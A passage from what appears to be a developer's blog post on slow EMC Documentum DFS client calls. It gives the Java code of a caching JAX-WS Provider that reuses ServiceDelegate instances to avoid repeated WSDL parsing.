	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy193.execute(Unknown Source)

Obviously, heavy calls are: com.sun.xml.ws.client.WSServiceDelegate#parseWSDL and com.sun.xml.bind.api.JAXBRIContext#newInstance, plus somebody in EMC made it more slower my placing synchronized keyword into com.emc.documentum.fs.rt.context.impl.DfsSoapService#newWebServiceClient method. Corresponding java code, written by my colleagues, was looking like:

public static QueryResult query(final String query,
        final String repository, final String userName,
        final String password) throws ServiceException {
    IServiceContext context = ContextFactory.getInstance().newContext();
    Identity identity = new RepositoryIdentity(repository, userName,
            password, null);
    context.setIdentities(Arrays.asList(identity));
    IQueryService service = ServiceFactory.getInstance().getRemoteService(
            IQueryService.class, context);
    return service.execute(new PassthroughQuery(Arrays.asList(repository),
            query), null, null);
}

I’m not sure whether the above pattern is optimal or not from performance perspective because documentations says nothing about thread-safety of DFS remote services, but at first glance com.emc.documentum.fs.rt.context.impl.DfsSoapService and com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler classes seem not to be thread-safe, so we can’t share the same instance of IQueryService among multiple threads, moreover, it seems that we can’t reuse instances of DFS remote services as well, so instantiating new instance of IQueryService on every request sounds reasonable, but performance sucks. After some trials and failures I have found following option to improve performance of DFS clients:

package pro.documentum.dfs.remote.cache;

import java.net.URL;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.ServiceLoader;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;

import javax.xml.namespace.QName;
import javax.xml.transform.Source;
import javax.xml.ws.Endpoint;
import javax.xml.ws.EndpointReference;
import javax.xml.ws.Service;
import javax.xml.ws.WebServiceException;
import javax.xml.ws.WebServiceFeature;
import javax.xml.ws.spi.Invoker;
import javax.xml.ws.spi.Provider;
import javax.xml.ws.spi.ServiceDelegate;
import javax.xml.ws.wsaddressing.W3CEndpointReference;

import org.w3c.dom.Element;

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class CachingProviderImpl extends Provider {

    private static final ConcurrentMap<DelegateKey, ServiceDelegate> CACHE;

    private static final Provider DELEGATE;

    static {
        CACHE = new ConcurrentHashMap<>();
        DELEGATE = getProviderLoader();
    }

    public CachingProviderImpl() {
        super();
    }

    private static Provider getProviderLoader() {
        ServiceLoader<Provider> loader = ServiceLoader.load(Provider.class);
        Iterator<Provider> iterator = loader.iterator();
        Provider provider = null;
        while (iterator.hasNext()) {
            provider = iterator.next();
            if (isSelf(provider)) {
                continue;
            }
            return provider;
        }
        provider = Provider.provider();
        if (isSelf(provider)) {
            throw new WebServiceException(
                    "Unable to createEndpointReference Provider");
        }
        return provider;
    }

    public static boolean isSelf(final Provider provider) {
        return provider instanceof CachingProviderImpl;
    }

    @Override
    public ServiceDelegate createServiceDelegate(
            final URL wsdlDocumentLocation, final QName serviceName,
            final Class<? extends Service> serviceClass) {
        DelegateKey key = new DelegateKey(wsdlDocumentLocation, serviceName,
                serviceClass);
        ServiceDelegate result = CACHE.get(key);
        if (result == null) {
            result = DELEGATE.createServiceDelegate(wsdlDocumentLocation,
                    serviceName, serviceClass);
            ServiceDelegate temp = CACHE.putIfAbsent(key, result);
            if (temp != null) {
                result = temp;
            }
        }
        return result;
    }

    @SuppressWarnings("unchecked")
    public ServiceDelegate createServiceDelegate(
            final URL wsdlDocumentLocation, final QName serviceName,
            final Class serviceClass, final WebServiceFeature... features) {
        if (features == null || features.length == 0) {
            return createServiceDelegate(wsdlDocumentLocation, serviceName,
                    serviceClass);
        }
        return DELEGATE.createServiceDelegate(wsdlDocumentLocation,
                serviceName, serviceClass, features);
    }

    @Override
    public Endpoint createEndpoint(final String bindingId,
            final Object implementor) {
        return DELEGATE.createEndpoint(bindingId, implementor);
    }

    @Override
    public Endpoint createAndPublishEndpoint(final String address,
            final Object implementor) {
        return DELEGATE.createAndPublishEndpoint(address, implementor);
    }

    @Override
    public EndpointReference readEndpointReference(final Source eprInfoset) {
        return DELEGATE.readEndpointReference(eprInfoset);
    }

    @Override
    public <T> T getPort(final EndpointReference endpointReference,
            final Class<T> serviceEndpointInterface,
            final WebServiceFeature... features) {
        return DELEGATE.getPort(endpointReference, serviceEndpointInterface,
                features);
    }

    @Override
    public W3CEndpointReference createW3CEndpointReference(
            final String address, final QName serviceName,
            final QName portName, final List<Element> metadata,
            final String wsdlDocumentLocation,
            final List<Element> referenceParameters) {
        return DELEGATE.createW3CEndpointReference(address, serviceName,
                portName, metadata, wsdlDocumentLocation, referenceParameters);
    }

    @Override
    public W3CEndpointReference createW3CEndpointReference(
            final String address, final QName interfaceName,
            final QName serviceName, final QName portName,
            final List<Element> metadata, final String wsdlDocumentLocation,
            final List<Element> referenceParameters,
            final List<Element> elements, final Map<QName, String> attributes) {
        return DELEGATE.createW3CEndpointReference(address, interfaceName,
                serviceName, portName, metadata, wsdlDocumentLocation,
                referenceParameters, elements, attributes);
    }

    @Override
    public Endpoint createAndPublishEndpoint(final String address,
            final Object implementor, final WebServiceFeature... features) {
        return DELEGATE
                .createAndPublishEndpoint(address, implementor, features);
    }

    @Override
    public Endpoint createEndpoint(final String bindingId,
            final Object implementor, final WebServiceFeature... features) {
        return DELEGATE.createEndpoint(bindingId, implementor, features);
    }

    @Override
    public Endpoint createEndpoint(final String bindingId,
            final Class<?> implementorClass, final Invoker invoker,
            final WebServiceFeature... features) {
        return DELEGATE.createEndpoint(bindingId, implementorClass, invoker,
                features);
    }

    class DelegateKey {

        private final URL _wsdlLocation;

        private final QName _serviceName;

        private final Class<? extends Service> _serviceClass;

        DelegateKey(final URL wsdlLocation, final QName serviceName,
                final Class<? extends Service> serviceClass) {
            _wsdlLocation = wsdlLocation;
            _serviceName = serviceName;
            _serviceClass = serviceClass;
        }

        public URL getWsdlLocation() {
            return _wsdlLocation;
        }

        public QName getServiceName() {
            return _serviceName;
        }

        public Class<? extends Service> getServiceClass() {
            return _serviceClass;
        }

        @Override
        public boolean equals(final Object o) {
            if (this == o) {
                return true;
            }
            if (!(o instanceof DelegateKey)) {
                return false;
            }
            DelegateKey that = (DelegateKey) o;
            return Objects.equals(_wsdlLocation, that._wsdlLocation)
                    && Objects.equals(_serviceName, that._serviceName)
                    && Objects.equals(_serviceClass, that._serviceClass);
        }

        @Override
        public int hashCode() {
            return Objects.hash(_wsdlLocation, _serviceName, _serviceClass);
        }

    }

}

META-INF/services/javax.xml.ws.spi.Provider:

pro.documentum.dfs.remote.cache.CachingProviderImpl